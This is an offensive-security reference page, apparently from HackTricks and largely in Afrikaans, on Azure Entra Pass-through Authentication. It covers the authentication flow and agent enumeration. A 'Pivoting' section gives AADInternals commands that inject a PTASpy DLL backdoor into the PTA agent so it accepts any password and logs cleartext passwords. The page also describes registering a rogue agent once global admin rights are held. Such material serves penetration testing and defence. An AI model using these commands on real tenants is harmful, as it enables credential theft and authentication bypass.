# Az - PTA - Pass-through Authentication

{{#include ../../../banners/hacktricks-training.md}}

## Basic Information

[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication laat jou gebruikers toe om **in te teken op beide plaaslike en wolk-gebaseerde toepassings met dieselfde wagwoorde**. Hierdie funksie bied jou gebruikers 'n beter ervaring - een minder wagwoord om te onthou, en verminder IT-hulplijn koste omdat jou gebruikers minder geneig is om te vergeet hoe om in te teken. Wanneer gebruikers in teken met Microsoft Entra ID, valideer hierdie funksie gebruikers se wagwoorde direk teen jou plaaslike Active Directory.

In PTA **identiteite** is **gesinchroniseer** maar **wagwoorde is nie** soos in PHS.

Die verifikasie word in die plaaslike AD gevalideer en die kommunikasie met die wolk word gedoen deur 'n **verifikasie-agent** wat op 'n **plaaslike bediener** loop (dit hoef nie op die plaaslike DC te wees nie).

### Authentication flow

<figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>

1. Om te **log in** word die gebruiker herlei na **Azure AD**, waar hy die **gebruikersnaam** en **wagwoord** stuur
2. Die **bewyse** word **geënkripteer** en in 'n **ry** in Azure AD gestel
3. Die **plaaslike verifikasie-agent** versamel die **bewyse** uit die ry en **dekripteer** dit. Hierdie agent word **"Pass-through authentication agent"** of **PTA agent** genoem.
4. Die **agent** **valideer** die bewys teen die **plaaslike AD** en stuur die **antwoord** **terug** na Azure AD wat, indien die antwoord positief is, die **inlog van die gebruiker voltooi**.

> [!WARNING]
> As 'n aanvaller die **PTA** **kompromitteer**, kan hy die alle **bewyse** uit die ry **sien** (in **duidelike teks**).\
> Hy kan ook **enige bewys** na die AzureAD **valideer** (soortgelyke aanval op Skeleton key).

### Enumeration

From Entra ID:
```bash
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
```
Kontroleer of die agent op die on-prem bediener loop:
```bash
Get-Service -Name "AzureADConnectAuthenticationAgent"
```
## Pivoting

As jy **admin** toegang het tot die **Azure AD Connect server** met die **PTA** **agent** wat loop, kan jy die **AADInternals** module gebruik om 'n **backdoor** te **invoeg** wat **AL die wagwoorde** wat ingevoer word, sal **valideer** (sodat al die wagwoorde geldig sal wees vir autentisering):
```bash
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text

Remove-AADIntPTASpy # Remove the backdoor
```
> [!NOTE]
> As die **installasie misluk**, is dit waarskynlik as gevolg van ontbrekende [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe).

Hierdie backdoor sal:

- 'n Versteekte gids `C:\PTASpy` skep
- 'n `PTASpy.dll` na `C:\PTASpy` kopieer
- `PTASpy.dll` in die `AzureADConnectAuthenticationAgentService` proses inspuit

> [!NOTE]
> Wanneer die AzureADConnectAuthenticationAgent diens herbegin word, word PTASpy “ontlaai” en moet dit weer geïnstalleer word.

> [!CAUTION]
> Nadat **GA bevoegdhede** op die wolk verkry is, is dit moontlik om **nuwe PTA-agent** te **registreer** en kan die **vorige** stappe **herhaal** word om **te autentiseer met enige wagwoord** en ook, **die wagwoorde in duidelike teks te verkry.**

### Seamless SSO

Dit is moontlik om Seamless SSO met PTA te gebruik, wat kwesbaar is vir ander misbruik. Kontroleer dit in:

{{#ref}}
az-seamless-sso.md
{{#endref}}

## Verwysings

- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
- [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)

{{#include ../../../banners/hacktricks-training.md}}
